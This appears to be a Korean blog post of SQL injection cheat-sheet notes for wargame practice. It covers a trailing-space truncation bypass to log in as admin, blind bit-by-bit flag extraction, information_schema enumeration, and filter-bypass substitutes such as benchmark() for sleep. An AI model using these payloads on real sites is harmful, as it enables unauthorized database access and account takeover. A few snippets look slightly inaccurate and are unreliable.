WEB] SQL Injection Tips

노션으로 옮김·2020년 3월 12일
1

skills

목록 보기
11/37
post-thumbnail

SQL Injection Cheat Collection

https://sqlwiki.netspi.com/injectionTypes/errorBased/#postgresql


공백 삽입을 통한 인증 우회

db에 adminadmin공백~~~이 존재할 때,

select * from myTable where id = 'admin'`

의 결과로 adminadmin공백~~~ 모두 출력된다.

응용

가입기능이 있는 웹페이지에서 admin공백~~~~'a'으로 가입한 뒤
admin으로 로그인을 시도하되, 내가 가입했던 패스워드 값을 입력한다.

마지막에 'a'를 추가하는 이유는
단순히 공백으로만 끝낼 경우, 서버에서 trim함수를 사용하여 뒷부분 공백이 제거되기 때문에 'a'문자를 삽입하여 공백이 제거되지 않도록 만든다.

길이제한으로 'a'문자는 삭제가 되고 의도한 값인 admin공백~~~~~이 최종적으로 insert문에 삽입된다.
#mysql


Type Juggling in sql

select '5' = 5 /* returns 1 */
select '6' = 5 /* returns 0 */

#mysql


Efficient Blind SQL Injection

효과적으로 플래그 값을 알아내는 방법이다.
대상 문자를 이진수로 변환한 뒤, 각 자리수 값을 비교하여 값을 판별한다.

select substr(lpad(bin(ascii(substr('flag',1,1))),7,0),1,1)=0
  1. 'f'를 이진수로 변환한 뒤 첫 번째 자리수 값이 0인지 비교한다.
  2. 맞으면 0을 저장하고 틀리면 1을 저장한다.
  3. 이진수는 총 7자리이므로 7번만 비교를 하면 'f'의 이진수 값을 알아낼 수 있다.

Insert 안에 Select 삽입

insert into myTable values((select flag from chall30.chall30_answer limit 1), 129);

단, 다른 테이블을 지정해야함

#mysql


스키마 얻어오기

information_schema

테이블 이름 알아내기

select table_name from information_schema.tables where table_schema = database() limit 1, 1

현재 database에 생성된 테이블 목록 가져오기

속성명 알아내기

select column_name from information_schema.columns where table_name='테이블명' limit 0,1

입력한 쿼리 알아내기

mysql> select * from information_schema.processlist;
+----+------+-----------+------+---------+------+-----------+----------------------------------------------+
| ID | USER | HOST      | DB   | COMMAND | TIME | STATE     | INFO                                         |
+----+------+-----------+------+---------+------+-----------+----------------------------------------------+
|  4 | root | localhost | myDb | Query   |    0 | executing | select * from information_schema.processlist |
+----+------+-----------+------+---------+------+-----------+----------------------------------------------+
1 row in set (0.00 sec)

mysql> 

#mysql


etc.

procedure analyse()

현재 조회하는 테이블의 정보를 반환

MariaDB [myDb]> select * from myTable where no=1 procedure analyse();
+-----------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+------------------------+
| Field_name      | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std    | Optimal_fieldtype      |
+-----------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+------------------------+
| myDb.myTable.id | admin     | admin     |          5 |          5 |                0 |     0 | 5.0000                  | NULL   | ENUM('admin') NOT NULL |
| myDb.myTable.no | 1         | 1         |          1 |          1 |                0 |     0 | 1.0000                  | 0.0000 | ENUM('1') NOT NULL     |
+-----------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+------------------------+
2 rows in set (0.000 sec)

mysql.innodb_table_stats

테이블 이름을 알 수 있음

#mysql


Union Select 괄호로 호출

union(select(1))

단, select 인자를 하나만 전달해야 한다.

mysql> select id from myTable union(select(1,1));
ERROR 1241 (21000): Operand should contain 1 column(s)
mysql> select id from myTable union(select(1));
+-------+
| id    |
+-------+
| admin |
| guest |
| test  |
| ttl   |
| 1     |
+-------+
5 rows in set (0.00 sec)

#mysql


쿼리에 value 대신 속성명 넣기

insert into myTable (id, pw) values('123', id);

id'123' 값이 저장되고
pwid값인 '123'이 저장된다.

#mysql

유용한 함수

conv

아무 진법의 수를 원하는 진법의 수로 변환한다.

conv('a', 16, 2)

이 때 'a'는 16진수인 61로 반환된다.
이 값을 2번째 인자값인 16진수로 인식하여
3번째 인자값인 2진수로 변환한다.

ord가 막혀있을 때 유용하다.

#mysql

As

질의시 출력되는 속성명과 값을 설정할 수 있다.

mysql> select 'admin' as id from myTable;
+-------+
| id    |
+-------+
| admin |
| admin |
| admin |
| admin |
+-------+
4 rows in set (0.00 sec)

원래 출력될 4개의 레코드 값이 {id:admin} 으로 변경되어 출력되었다.
#mysql


for bypass

등호

id like 'admin'
id in 'admin'
instr(id, 'admin')

문자열

concat('gu', 'est') /* Returns 'guest' */
reverse('tseug') /* Returns 'guest' */
mid('admin', 2) /* Returns 'dmin' */

Sleep

benchmark(1000000, md5('1'))

Substr

right(left(컬럼명, 1), 1)

0개의 댓글